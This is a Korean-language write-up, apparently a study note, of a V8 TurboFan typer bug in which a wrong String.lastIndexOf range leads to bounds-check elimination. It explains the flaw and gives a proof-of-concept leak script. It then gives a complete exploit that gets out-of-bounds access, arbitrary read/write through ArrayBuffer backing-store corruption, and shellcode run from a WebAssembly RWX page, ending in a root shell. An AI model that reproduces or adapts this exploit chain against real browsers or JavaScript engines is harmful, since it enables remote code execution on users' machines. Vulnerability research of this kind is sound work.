ref

- https://bugs.chromium.org/p/chromium/issues/detail?id=762874

환경은 최신 v8에서 typer.cc만 수정하였다.

typer.cc

```
        case kStringIndexOf:
        case kStringLastIndexOf:
          return Type::Range(-1.0, String::kMaxLength - 1.0, t->zone());
```

String 관련된 Fucntion들이 JIT 될 때, return 값을 정해준다.
String.prototype.indexOf, String.prototype.lastIndexOf 인데, 리턴 값으로 나오는 범위가 있다.
JIT 전에는 정상적인 범위 내에서 판단하게 되지만, JIT 되면, Max length 부분의 값을 리턴하게 되면, 길이 -1 값을 리턴하게 되고, 실제 리턴되어야하는 값과 리턴되는 값이 달라서 문제가 발생하게 된다.

kMaxLength는 (1 << 30) - 1 - 24로 64bit에서는 정의되어있다.

```
>>> (1 << 30) - 1 - 24
1073741799
```

```
d8> %StringMaxLength();
1073741799
```

StringMaxLength와는 디버깅 함수를 통해서, 길이를 볼 수도 있지만, 소스코드를 찾아서 어떻게 정의되어있는지 찾아봐도 된다.
간단하게 취약점 개요만 설펴보면, JIT Compile 시에, MaxLength의 범위가 잘못 설정되어 있어서, 실제 Javascript에서 돌아가는 값과 컴파일러가 가정하고 최적화시키는 값이 다르다.

만약에 javascript에서는 1073741799를 리턴하지만, JIT 될 때는 컴파일러가 1073741798의 값을 최대로 가지게된다.
그래서 (1073741799 + 25) >> 30을 하게되면 1이 나오지만, JIT compiler에서 가정할 때는 0이 나오게된다.
이 값이 뒤에선 propagation 되므로, Array index에 대한 bounds check elimination이 발생하게되어, OOB R/W가 가능해지는 것이다.

 # leak.js

```
let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);


function d2u(v) {
    f64[0] = v;
    return u32;
}


function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}


function hex(lo, hi) {
    return ("0x" + hi.toString(16) + lo.toString(16));
}


const s = "A".repeat(1073741799);
function foo() {
    const offset = 9;
    let ii = String.prototype.lastIndexOf.call(s, "");
    let x = ii + 25;
    x >>= 30;
    x *= offset;
    if(x > 5) {
        return false;
    }
    else {
        let arr = new Array(1.1, 2.2);
        let leaked = new Array(2.2, 3.3, {});
        leak = arr[x];
        if( leak != undefined ) {
            console.log(leak);
            return true;
        }
        return false;
    }
}


for(let i = 0; i < 100000; i++) {
    res = foo();
    if(res) {
        console.log("good");
        break;
    }
}
```

중간에 new Array() 하는 부분이 약간 중요한 것 같다.
왜냐하면, literal array로 만들어버리면, OOB access가 안되더라.
OOB R/W를 하기 위해선 처음의 "arr"를 new Array를 통해 만들어줘야한다.
Turbolizer로 최적화가 어떻게 다르게 되는지 확인해봐야 할 것 같다.

또한, JIT Compiler에서 발생하는 취약점 중에, bounds check elimination 같은 것에서 공감한 점이 있었는데 확실하게 알아봐야하는 것이 있다.

- Branch 문에서 절대 타지 않는다고, wrong assumption이 발생하면, 아예 해당 branch를 없애버리는지?
    - Dead code elimination?
- 이 취약점과 같이, typer phase에서 [-1, kMaxLength - 1.0]로 범위를 설정하였다면, 이 범위에 대한 값은 뭐가나올지 모르지만, 최소, 최대 값을 바탕으로 partial evaluation을 진행하고, reduction을 하는지?

참고로, V8 Debug 모드에선, length property를 바꿔줘도 DCHECK에 걸리는데 Release mode에서 해줘야한다.

 # exploit phase

release 모드에선, 위와 같은 방법으로 ***arr[x] = length 값***을 통해, oob unboxed array를 만들어 줄 수 있다.
OOB가 되면, 해당 array를 통해, 위쪽에 생성한 ArrayBuffer 객체의 backing store를 건드릴 수 있다.
이 backing store를 건드리고, DataView 객체를 해당 ArrayBuffer로 생성하면 Arbitrary Read/Write를 수행할 수 있다.

Code Execution은, 일반적인 함수의 JIT Page는 지금 현재 7.4 version에서는 없고, WebAssembly에 대한 rwx page가 존재한다.
Wasm을 사용하여, rwx page를 만들어주고, 해당 페이지를 DataView를 통해 주소를 가져와서, 다시 ArrayBuffer의 backingstore를 변경하는 형태로, 쉘코드를 넣어서 실행하면 된다.

 # exploit.js

```
let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);


function d2u(v) {
    f64[0] = v;
    return u32;
}


function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}


function hex(lo, hi) {
    return ("0x" + hi.toString(16) + lo.toString(16));
}


function view(unboxed, lim) {
    for(let i = 0; i < lim; i++) {
        t = d2u(unboxed[i]);
        console.log("[" + i + "]" + hex(t[0], t[1]));
    }
}


let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;


var shellcode = [0xbb48c031, 0x91969dd1, 0xff978cd0, 0x53dbf748, 0x52995f54, 0xb05e5457, 0x50f3b];


const s = "A".repeat(1073741799);


function pwn() {
    const offset = 5;
    let ii = String.prototype.lastIndexOf.call(s, "");
    let x = ii + 25;
    x >>= 30;
    x *= offset;
    let leak = 0;
    if(x > 5 && y > 5) {
        leak = 0;
    }
    else {
        let arr = new Array(1.1, 2.2);
        //let leaked = new Array(1.1, 2.2);
        arr2 = new Array(3.3, 4.4);
        arr3 = new Array(0x1337, 0x1338);
        leak = arr[x];
        arr[x] = u2d(0, 0x2000);
        if( leak != undefined ) {
            ab = new ArrayBuffer(0x45);
            // index 303 -> wasm -> "f"
            arr4 = new Array(0xdada, 0xaadd, f);
            //view(arr, 400);
            // index 25 -> ArrayBuffer length
            // index 26 -> ArrayBuffer backing store
            // view function -> just view memory values via unboxed oob array
            wasm_lo = d2u(arr[303])[0];
            wasm_hi = d2u(arr[303])[1];
            arr[25] = u2d(0x1000, 0x0);
            arr[26] = u2d(wasm_lo - 1, wasm_hi);
            dv = new DataView(ab);


            // leak wasm rwx page via DataView Object
            // wasm page is placed in f->SharedFunctionInfo address - 0xc0
            lo = dv.getUint32(0x18, true);
            hi = dv.getUint32(0x18 + 4, true);
            console.log("[-] leak : " + hex(lo, hi));


            arr[26] = u2d(lo - 1 - 0xc0, hi);
            rwx_lo = dv.getUint32(0, true);
            rwx_hi = dv.getUint32(4, true);
            console.log("[-] rwx_leak : " + hex(rwx_lo, rwx_hi));


            arr[26] = u2d(rwx_lo, rwx_hi);
            for(let i = 0; i < 40; i++) {
                dv.setUint32(i * 4, 0x90909090, true);
            }
            for(let i = 0; i < shellcode.length; i++) {
                dv.setUint32(i * 4, shellcode[i], true);
            }
            return true;
        }
    }
    return false;
}




for(let i = 0; i < 100000; i++) {
    res = pwn();
    if(res) {
        console.log("[-] Create OOB unboxed Array");
        break;
    }
}


f(1, 1);
```

```
root@ubuntu:/mnt/hgfs/vm_share/1-day/tianfucup/v8/out.gn/x64.release# ./d8 --allow-natives-syntax
../x64.debug/exploit2.js
[-] leak : 0x35c67bc9eac9
[-] rwx_leak : 0x27ffb1c25000
[-] Create OOB unboxed Array
# ls
args.gn                 icudtl.dat         torque                v8_simple_parser_fuzzer
build.ninja             inspector-test     unittests             v8_simple_regexp_builtins_fuzzer
build.ninja.d           mkgrokdump         v8_build_config.json  v8_simple_regexp_fuzzer
bytecode_builtins_list_generator  mksnapshot         v8_hello_world        v8_simple_wasm_async_fuzzer
cctest                  natives_blob.bin   v8_sample_process     v8_simple_wasm_code_fuzzer
d8                      obj                v8_shell              v8_simple_wasm_compile_fuzzer
gen                     snapshot_blob.bin  v8_simple_json_fuzzer  v8_simple_wasm_fuzzer
generate-bytecode-expectations  toolchain.ninja   v8_simple_multi_return_fuzzer
# id
uid=0(root) gid=0(root) groups=0(root)
#
```